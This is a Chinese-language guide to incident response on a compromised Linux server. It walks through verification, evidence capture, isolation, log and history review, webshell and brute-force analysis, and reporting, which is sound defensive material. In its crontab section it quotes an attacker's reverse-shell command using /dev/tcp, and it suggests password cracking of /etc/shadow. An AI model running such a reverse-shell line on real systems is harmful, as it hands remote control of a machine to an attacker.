香港服务器

遇到服务器被黑，很多人会采用拔网线、封 iptables或者关掉所有服务的方式应急，但如果是线上服务器就不能立即采用任何影响业务的手段了，需要根据服务器业务情况分类处理。

下面我们看一个标准的服务器安全应急影响应该怎么做，也算是笔者从事安全事件应急近 6年以来的一些经验之谈，借此抛砖引玉，希望大神们不吝赐教。

图 1：处理思路

如上图，将服务器安全应急响应流程分为如下 8个环节：

发现安全事件（核实）

现场保护

服务器保护

影响范围评估

在线分析

数据备份

深入分析

事件报告整理

接下来我们将每个环节分解，看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

核实信息（运维/安全人员）

根据安全事件通知源的不同，分为两种：

外界通知：和报告人核实信息，确认服务器/系统是否被入侵。现在很多企业有自己的 SRC（安全响应中心），在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

自行发现：根据服务器的异常或故障判断，比如对外发送大规模流量或者系统负载异常高等，这种情况一般是运维工程师发现并核实的。

现场保护（运维）

我们很多人看过大陆的电视剧《重案六组》，每次接到刑事案件，刑警们第一时间就是封锁现场、保存现场原状。

同样道理，安全事件发生现场，跟刑事案件发生现场一样，需要保存第一现场重要信息，方便后面入侵检测和取证。

保存现场环境（截图）

相关信息采集命令如下：

进程信息：ps axu

网络信息：netstat –a

网络+进程：lsof / netstat -p

攻击者登陆情况（截图）

相关信息采集命令如下：

查看当前登录用户：w或 who -a

服务器保护（运维/机房）

这里的现场保护和服务器保护是两个不同的环节，前者注重取证，后者注重环境隔离。

核实机器被入侵后，应当尽快将机器保护起来，避免被二次入侵或者当成跳板扩大攻击面。

此时，为保护服务器和业务，避免服务器被攻击者继续利用，应尽快迁移业务，立即下线机器。

如果不能立即处理，应当通过配置网络 ACL等方式，封掉该服务器对网络的双向连接。

影响范围评估（运维/开发）

一般是运维或者程序确认影响范围，需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露，如果是代码或者数据库泄露了，则需要程序评估危害情况与处置方法。

影响访问评估一般从下面几点来入手：

具体业务架构：Web(PHP/Java， WebServer)， Proxy， DB等。

IP及所处区域拓扑等：VLAN内服务器和应用情况。

确定同一网络下面服务器之间的访问：可以互相登陆，是否需要 Key或者是密码登录。

由此确定检查影响范围，确认所有受到影响的网段和机器。

在线分析（安全人员/运维）

这时需要根据个人经验快速在线分析，一般是安全人员和运维同时在线处理，不过会涉及多人协作的问题，需要避免多人操作机器时破坏服务器现场，造成分析困扰。

之前笔者遇到一个类似的问题，就是运维排查时敲错了 iptables的命令，将 iptables -L敲成 iptables -i导致 iptables-save时出现异常记录，结果安全人员上来检查时就被这条记录迷惑了，导致处理思路受到一定干扰。

所有用户 History日志检测

关键字：wget/curl， gcc，或者隐藏文件，敏感文件后缀（.c，.py，conf， .pl， .sh)。

检查是否存在异常用户。

检查最近添加的用户，是否有不知名用户或不规范提权。

找出 root权限的用户。

可以执行以下命令检查：

grep -v -E "^#" /etc/passwd | awk -F： '$3 == 0 { print $1}'

反连木马判断

netstat –a

注意非正常端口的外网 IP

可疑进程判断

判断是否为木马 ps –aux

重点关注文件（隐藏文件）， Python脚本，Perl脚本，Shell脚本（bash/sh/zsh）。

使用 which，whereis，find定位。

Crontab检测

不要用 crontab –l查看 crontab（绕过检测），也有通过写 crontab配置文件反弹Shell的，笔者接触过几次，一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。

系统日志检测

检查 sshd服务配置文件 /etc/ssh/sshd_config和系统认证日志 auth、message，判断是否为口令破解攻击。

/etc/ssh/sshd_config文件确认认证方式。

确认日志是否被删除或者清理过的可能（大小判断）。

last/lastb可以作为辅助，不过可能不准确。

NHIDS正常运行判断

是否安装：ls /etc/ossec

是否运行正常：ps axu |grep nhids，三个 nhids进程则表示正常

其他攻击分析

抓取网络数据包并进行分析，判断是否为拒绝服务攻击，这里需要注意，一定要使用 -w参数，这样才能保存成 pcap格式导入到 wireshark，这样分析起来会事半功倍。

tcpdump -w tcpdump.log

安全相关的关键文件和数据备份（运维）

可以同步进行，使用 sftp/rsync等将日志上传到安全的服务器：

打包系统日志：参考：$ tar -jcvf syslog.tar.bz2 /var/log

打包 Web日志：access log

打包 History日志（所有用户），参考：$ cp /home/user/，history user_history

打包 crontab记录

打包密码文件：/etc/passwd， /etc/shadow

打包可疑文件、后门、Shell信息

深入分析（安全人员）

初步锁定异常进程和恶意代码后，将受影响范围梳理清楚，封禁了入侵者对机器的控制后，接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。

Webshell入侵

使用 Webshell_check.py脚本检测 Web目录：

$ python webshell_check.py /var/www/ >result.txt

查找 Web目录下所有 nobody的文件，人工分析：

$ find /var/www –user nobody >nobody.txt

如果能确定入侵时间，可以使用 find查找最近时间段内变化的文件：

$ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"

$ find / -ctime/-mtime 8

利用 Web漏洞直接反连 Shell

分析 access.log：

缩小日志范围：时间，异常 IP提取。

攻击行为提取：常见的攻击 exp识别。

系统弱口令入侵

认证相关日志 auth/syslog/message排查：

爆破行为定位和 IP提取。

爆破是否成功确定：有爆破行为 IP是否有 accept记录。

如果日志已经被清理，使用工具（比如John the Ripper）爆破 /etc/passwd，/etc/shadow。

其他入侵

其他服务器跳板到本机。

后续行为分析

History日志：提权、增加后门，以及是否被清理。

Sniffer：网卡混杂模式检测 ifconfig |grep –i proc。

内网扫描：网络 nmap/扫描器，socks5代理。

确定是否有 rootkit：rkhunter， chkrootkit， ps/netstat替换确认。

后门清理排查

根据时间点做关联分析：查找那个时间段的所有文件。

一些小技巧：/tmp目录， ls –la，查看所有文件，注意隐藏的文件。

根据用户做时间关联：比如 nobody。

其他机器的关联操作

其他机器和这台机器的网络连接 （日志查看）、相同业务情况（同样业务，负载均衡）。

整理事件报告（安全人员）

事件报告应包含但不限于以下几个点：

分析事件发生原因：事件为什么会发生的原因。

分析整个攻击流程：时间点、操作。

分析事件处理过程：整个事件处理过程总结是否有不足。

分析事件预防：如何避免事情再次发生。

总结：总结事件原因，改进处理过程，预防类似事件再次发生。

处理中遇到的比较棘手的事情